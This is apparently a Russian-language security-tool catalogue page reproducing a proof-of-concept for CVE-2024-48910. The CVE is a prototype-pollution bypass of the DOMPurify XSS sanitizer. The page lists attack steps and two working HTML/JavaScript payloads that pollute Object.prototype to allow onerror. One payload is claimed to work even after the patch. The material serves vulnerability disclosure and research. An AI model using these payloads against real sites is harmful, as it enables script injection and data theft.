Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-48910-PoC — Эксплойт доказательства концепции для CVE-2024-48910, демонстрирующий обход очистителя XSS DOMPurify с помощью загрязнения прототипа для выполнения произвольного JavaScript через специально созданные HTML-атрибуты. | Kitploit
Инструменты/GitHubGitHub/mitchellzhou1/cve-2024-48910-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасность
GitHubmitchellzhou1/cve-2024-48910-poc

CVE-2024-48910-PoC

Эксплойт доказательства концепции для CVE-2024-48910, демонстрирующий обход очистителя XSS DOMPurify с помощью загрязнения прототипа для выполнения произвольного JavaScript через специально созданные HTML-атрибуты.

Репозиторий
28 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-48910-PoC

image

Обзор

CVE-2024-48910 DOMPurify, быстрый и устойчивый XSS-санитайзер для HTML, MathML и SVG, работающий только с DOM, был признан уязвимым к прототипному загрязнению (CVE-2024-48910). Уязвимость была обнаружена и исправлена в версии 2.4.2, первоначальное раскрытие состоялось 31 октября 2024 года.


Влияние

Уязвимость прототипного загрязнения в DOMPurify может позволить злоумышленникам изменять атрибуты прототипов объектов, что потенциально может привести к обходу защиты и несанкционированным изменениям поведения приложения. Высокий показатель CVSS указывает на значительное потенциальное влияние на безопасность системы, особенно затрагивающее конфиденциальность и целостность данных.

Технические подробности

Уязвимости присвоена базовая оценка CVSS v3.1 9.1 (КРИТИЧЕСКАЯ) с вектором CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N. Это указывает, что уязвимость может быть использована удалённо с низкой сложностью атаки, не требует привилегий или взаимодействия с пользователем и может привести к высокому воздействию на конфиденциальность и целостность, хотя и не затрагивает доступность.

Из журнала изменений видно, что был добавлен тестовый пример, включающий .__proto__., что предполагает внедрение прототипа. image

Следующая добавленная строка означает, что ранее всё, что было «истинным» (truthy), оценивалось как true. image

Вектор атаки и PoC

  1. Загрязняем hasOwnProperty, чтобы он возвращал Object.
  2. Загрязняем ALLOWED_ATTR с помощью ["src", "onerror"].
  3. DOMPurify клонирует свою конфигурацию, используя уязвимую функцию clone().
  4. Проверка hasOwnProperty проходит для загрязнённых свойств (поскольку Object является «истинным»).
  5. Загрязнённая конфигурация копируется во внутреннюю конфигурацию DOMPurify.

Защита XSS обойдена — onerror теперь «разрешён».

root@kitploit:~
<script>Object.prototype.hasOwnProperty=Object</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>

Примечания:

Несмотря на обновление до версии 2.4.2, я всё ещё могу вызвать alert() ... всё, что нужно сделать, это установить Object.prototype.hasOwnProperty = () => true;, чтобы обойти защиту LOL!!

root@kitploit:~
<script>Object.prototype.hasOwnProperty = () => true;</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>
Скачать инструмент